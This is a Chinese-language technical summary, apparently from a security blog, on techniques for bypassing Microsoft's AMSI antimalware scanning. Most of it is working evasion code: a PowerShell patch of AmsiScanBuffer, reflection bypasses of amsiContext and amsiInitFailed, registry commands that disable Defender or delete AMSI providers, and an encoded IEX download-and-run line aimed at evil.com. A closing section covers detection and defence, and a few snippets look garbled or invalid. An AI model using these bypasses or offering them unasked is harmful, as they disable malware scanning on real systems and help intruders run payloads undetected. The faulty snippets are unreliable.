AMSI对抗绕过小结
字数 1293 2025-08-09 13:33:40
AMSI对抗绕过技术详解
1. AMSI基础概念
AMSI (Antimalware Scan Interface) 是微软提供的一套反恶意软件扫描接口,允许应用程序和服务集成反恶意软件产品。
1.1 AMSI工作原理
- 扫描机制:AMSI会扫描内存、脚本、PowerShell命令等
- 集成范围:PowerShell、VBScript、JScript、Office VBA宏等
- 检测时机:脚本执行前、内存加载时、动态代码生成时
1.2 AMSI架构组成
- AMSI客户端:集成在应用程序中(如PowerShell)
- AMSI提供程序:反恶意软件引擎
- AMSI接口:客户端与提供程序间的通信桥梁
2. AMSI绕过技术分类
2.1 内存修补技术
2.1.1 AMSI.DLL内存修补
// C#示例代码
var amsiDll = LoadLibrary("amsi.dll");
var amsiScanBufferAddr = GetProcAddress(amsiDll, "AmsiScanBuffer");
PatchMemory(amsiScanBufferAddr, new byte[] { 0xC3 }); // RET指令
2.1.2 PowerShell上下文修补
# PowerShell示例
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$hModule = [Win32]::LoadLibrary("amsi.dll")
$asbAddr = [Win32]::GetProcAddress($hModule, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($asbAddr, [uint32]5, 0x40, [ref]$p)
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $asbAddr, 6)
2.2 反射加载与进程注入
2.2.1 反射DLL注入
// 使用SharpSploit等工具反射加载未签名的DLL
var sharpSploit = new SharpSploit();
sharpSploit.InvokeReflectiveDllInjection(pid, dllBytes);
2.2.2 进程空心化
- 创建合法进程挂起状态
- 卸载原始映像
- 注入恶意代码
2.3 混淆与编码技术
2.3.1 字符串混淆
# 字符串拆分
$var1 = "AmsiU"
$var2 = "tils"
$amsiUtils = $var1 + $var2
2.3.2 Base64编码
$command = "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
powershell -EncodedCommand $encoded
2.4 强制错误技术
2.4.1 触发AMSI错误状态
# 通过无效输入使AMSI进入错误状态
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null,[IntPtr]::Zero)
2.4.2 内存耗尽攻击
# 创建超大字符串消耗AMSI资源
$hugeString = 'A' * 10000000
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetMethod('ScanContent').Invoke($null, @($hugeString,1))
2.5 注册表操作
2.5.1 禁用AMSI注册表项
# 修改注册表禁用AMSI
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection" -Name "DisableAntiSpyware" -Value 1
2.5.2 篡改AMSI提供程序
# 修改AMSI提供程序注册表项
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}"
3. 高级绕过技术
3.1 CLR劫持技术
// 通过修改CLR加载行为绕过AMSI
var clr = AppDomain.CurrentDomain.GetAssemblies()
.FirstOrDefault(a => a.GetName().Name == "System.Management.Automation");
var amsiUtils = clr.GetType("System.Management.Automation.AmsiUtils");
var field = amsiUtils.GetField("amsiInitFailed", BindingFlags.NonPublic | BindingFlags.Static);
field.SetValue(null, true);
3.2 PowerShell运行空间操作
# 创建新的运行空间绕过AMSI
$rs = [RunspaceFactory]::CreateRunspace()
$rs.ApartmentState = "MTA"
$rs.ThreadOptions = "ReuseThread"
$rs.Open()
$ps = [PowerShell]::Create()
$ps.Runspace = $rs
$ps.AddScript({ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null,[IntPtr]::Zero) })
$ps.Invoke()
3.3 直接系统调用
// 使用直接系统调用避免用户态钩子
[NativeMethods]
private static extern IntPtr NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
uint AllocationType,
uint Protect);
4. 检测与防御措施
4.1 AMSI绕过检测技术
-
行为监控:
- 检测对amsi.dll的修改
- 监控PowerShell运行空间创建
- 跟踪反射加载操作
-
签名检测:
- 已知绕过技术的YARA规则
- 内存特征扫描
-
异常检测:
- AMSI扫描失败率异常
- 扫描超时事件
4.2 防御建议
-
强化配置:
- 启用约束语言模式
- 实施脚本块日志记录
- 配置PowerShell转录
-
架构防护:
- 启用受控文件夹访问
- 部署攻击面减少规则
- 实施设备防护
-
监控响应:
- 部署终端检测与响应(EDR)方案
- 建立AMSI相关事件警报
- 定期审计PowerShell使用
5. 最新研究与发展趋势
- 硬件辅助AMSI:利用Intel CET等硬件特性增强防护
- AI/ML检测:基于机器学习的动态行为分析
- 内核模式AMSI:将关键检测逻辑移至内核空间
- AMSI云集成:实时云查询与信誉检查
6. 实用工具与资源
-
测试工具:
- AMSITrigger:识别可能触发AMSI的字符串
- AmsiScanBufferBypass:内存修补PoC
-
框架集成:
- Cobalt Strike AMSI绕过插件
- Metasploit AMSI绕过模块
-
研究资源:
- MITRE ATT&CK T1562.001:子技术条目
- Microsoft AMSI文档
7. 总结
AMSI绕过技术是攻防对抗的前沿领域,随着微软不断改进AMSI,攻击者也在发展更高级的绕过方法。有效的防御需要多层防护策略,结合行为监控、签名检测和异常分析。红队人员应充分理解这些技术以测试防御体系,而蓝队则需要持续更新检测规则和防护措施。